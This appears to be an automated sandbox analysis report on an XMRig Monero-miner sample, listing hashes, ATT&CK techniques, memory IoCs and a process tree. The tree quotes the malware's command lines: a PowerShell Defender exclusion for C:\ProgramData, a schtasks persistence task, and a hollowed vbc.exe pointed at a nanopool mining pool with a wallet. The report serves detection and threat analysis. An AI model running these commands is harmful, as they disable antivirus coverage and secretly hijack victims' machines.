xmrig | def06fcab9ce095e4952f80d7a9acc2808bf342606e23e5b8a188b9e62251d53

Analysis

max time kernel
130s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2022, 00:14

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General

Target
file.exe
Size 1.5MB
Sample221114-ajbvgadh44
SHA256 def06fcab9ce095e4952f80d7a9acc2808bf342606e23e5b8a188b9e62251d53
MD5 b3ea623eb8010a662b70daaf82c8b9fb
SHA1 a38a1d4dce82ce1cdbfd175def8025818290bc1c
SHA512 a742d011a8d5c0cb3ff095ad6661ff913bd76a5c8a84ea9876ea55db3afc3548a68605c114b58a4a2f0094aa6e3e27886acc09c1b45be11f0d20aa5c7a28d5eb
SSDEEP 24576:gdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkTa:+2y6ESPfhlA/JNBYS7CDkm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/3464-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3464-186-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3464-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3464-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3464-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3464-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3240	AVPTQBAEW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	AVPTQBAEW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3240 set thread context of 3464	3240	AVPTQBAEW.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3016	3240	WerFault.exe	88

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2388	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2580	timeout.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2688	powershell.exe
2688	powershell.exe
2444	powershell.exe
2444	powershell.exe
3240	AVPTQBAEW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4776	file.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	3240	AVPTQBAEW.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeLockMemoryPrivilege	3464	vbc.exe
Token: SeLockMemoryPrivilege	3464	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3464	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 2688	4776	file.exe	83
PID 4776 wrote to memory of 2688	4776	file.exe	83
PID 4776 wrote to memory of 4272	4776	file.exe	85
PID 4776 wrote to memory of 4272	4776	file.exe	85
PID 4272 wrote to memory of 2580	4272	cmd.exe	87
PID 4272 wrote to memory of 2580	4272	cmd.exe	87
PID 4272 wrote to memory of 3240	4272	cmd.exe	88
PID 4272 wrote to memory of 3240	4272	cmd.exe	88
PID 3240 wrote to memory of 2444	3240	AVPTQBAEW.exe	92
PID 3240 wrote to memory of 2444	3240	AVPTQBAEW.exe	92
PID 3240 wrote to memory of 412	3240	AVPTQBAEW.exe	94
PID 3240 wrote to memory of 412	3240	AVPTQBAEW.exe	94
PID 412 wrote to memory of 2388	412	cmd.exe	96
PID 412 wrote to memory of 2388	412	cmd.exe	96
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100
PID 3240 wrote to memory of 3464	3240	AVPTQBAEW.exe	100

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp862C.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2580
- - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
    "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2444
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:412
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:2388
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3464
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3240 -s 3888
      4⤵
      Program crash
      PID:3016

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 3240 -ip 3240
1⤵
PID:4608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.5MB
SHA256 def06fcab9ce095e4952f80d7a9acc2808bf342606e23e5b8a188b9e62251d53
MD5 b3ea623eb8010a662b70daaf82c8b9fb
SHA1 a38a1d4dce82ce1cdbfd175def8025818290bc1c
SHA512 a742d011a8d5c0cb3ff095ad6661ff913bd76a5c8a84ea9876ea55db3afc3548a68605c114b58a4a2f0094aa6e3e27886acc09c1b45be11f0d20aa5c7a28d5eb
SSDEEP 24576:gdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkTa:+2y6ESPfhlA/JNBYS7CDkm
MD5 SHA1 SHA512 SSDEEP

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AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 1.5MB
SHA256 def06fcab9ce095e4952f80d7a9acc2808bf342606e23e5b8a188b9e62251d53
MD5 b3ea623eb8010a662b70daaf82c8b9fb
SHA1 a38a1d4dce82ce1cdbfd175def8025818290bc1c
SHA512 a742d011a8d5c0cb3ff095ad6661ff913bd76a5c8a84ea9876ea55db3afc3548a68605c114b58a4a2f0094aa6e3e27886acc09c1b45be11f0d20aa5c7a28d5eb
SSDEEP 24576:gdzyKZ6pe2dPQesHSFt1NhNZA5QAZtJNumYS7yBiF6DkTa:+2y6ESPfhlA/JNBYS7CDkm
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
MD5 3a6bad9528f8e23fb5c77fbd81fa28e8
SHA1 f127317c3bc6407f536c0f0600dcbcf1aabfba36
SHA512 846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2
MD5 SHA1 SHA512

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tmp862C.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp862C.tmp.bat
Size 149B
SHA256 26c7faf254e5404b0fc1abdd221c6921580d3eb9bfa01c0163e1b53953032abc
MD5 0a6ab22ebcbb3997e78568172133b8e3
SHA1 da13072700032fc34a8ada6d6336867492d2b64a
SHA512 8e23d6545025cd065fa6e91c78d9bc88336bbce77bffbfcf82eabf64012160c37a6d35785568fc35394ad4d9b7b0fc27a925bf591e671cda5070227b75c7f37e
MD5 SHA1 SHA512

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memory/2444-177-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/2688-149-0x0000024A6E230000-0x0000024A6E252000-memory.dmp

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memory/2688-155-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/2688-154-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/3240-182-0x00007FFCA2300000-0x00007FFCA233B000-memory.dmp

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memory/3240-171-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/3240-193-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/3240-192-0x00000000009F0000-0x0000000000BD4000-memory.dmp

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memory/3240-191-0x00007FFC87910000-0x00007FFC87A7A000-memory.dmp

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memory/3240-184-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/3240-183-0x00000000009F0000-0x0000000000BD4000-memory.dmp

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memory/3240-181-0x00007FFCA4690000-0x00007FFCA46FB000-memory.dmp

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memory/3240-180-0x00007FFC82540000-0x00007FFC82642000-memory.dmp

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memory/3240-179-0x00007FFC87A80000-0x00007FFC87AB5000-memory.dmp

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memory/3240-178-0x00007FFCA34F0000-0x00007FFCA3517000-memory.dmp

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memory/3240-160-0x00007FFC88110000-0x00007FFC881BA000-memory.dmp

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memory/3240-161-0x00007FFCA4700000-0x00007FFCA479E000-memory.dmp

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memory/3240-163-0x00007FFC88050000-0x00007FFC8810D000-memory.dmp

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memory/3240-162-0x00007FFCA0E50000-0x00007FFCA0E62000-memory.dmp

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memory/3240-164-0x00007FFCA3E90000-0x00007FFCA4031000-memory.dmp

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memory/3240-165-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/3240-166-0x00007FFCA4660000-0x00007FFCA468B000-memory.dmp

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memory/3240-169-0x0000000000910000-0x0000000000951000-memory.dmp

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memory/3240-170-0x00007FFC87F00000-0x00007FFC8804E000-memory.dmp

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memory/3240-168-0x00000000009F0000-0x0000000000BD4000-memory.dmp

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memory/3240-167-0x00000000009F0000-0x0000000000BD4000-memory.dmp

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memory/3464-185-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3464-199-0x0000022C78450000-0x0000022C78470000-memory.dmp

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memory/3464-198-0x0000022BE5DD0000-0x0000022BE5DF0000-memory.dmp

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memory/3464-197-0x0000022C78450000-0x0000022C78470000-memory.dmp

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memory/3464-196-0x0000022BE5DD0000-0x0000022BE5DF0000-memory.dmp

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memory/3464-195-0x0000022BE43F0000-0x0000022BE4430000-memory.dmp

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memory/3464-194-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3464-190-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3464-189-0x0000022BE4390000-0x0000022BE43B0000-memory.dmp

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memory/3464-188-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3464-187-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/4776-141-0x00007FFCA4660000-0x00007FFCA468B000-memory.dmp

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memory/4776-151-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/4776-143-0x0000000000860000-0x0000000000A44000-memory.dmp

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memory/4776-133-0x00007FFC880E0000-0x00007FFC8818A000-memory.dmp

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memory/4776-144-0x00007FFC87E10000-0x00007FFC87F5E000-memory.dmp

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memory/4776-142-0x0000000000860000-0x0000000000A44000-memory.dmp

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memory/4776-140-0x00000000033F0000-0x0000000003431000-memory.dmp

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memory/4776-145-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/4776-150-0x00000000033F0000-0x0000000003431000-memory.dmp

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memory/4776-148-0x0000000000860000-0x0000000000A44000-memory.dmp

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memory/4776-138-0x00007FFC86D70000-0x00007FFC87831000-memory.dmp

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memory/4776-134-0x00007FFCA4700000-0x00007FFCA479E000-memory.dmp

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memory/4776-136-0x00007FFC88020000-0x00007FFC880DD000-memory.dmp

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memory/4776-135-0x00007FFCA0E50000-0x00007FFCA0E62000-memory.dmp

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memory/4776-137-0x00007FFCA3E90000-0x00007FFCA4031000-memory.dmp

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memory/4776-139-0x0000000000860000-0x0000000000A44000-memory.dmp

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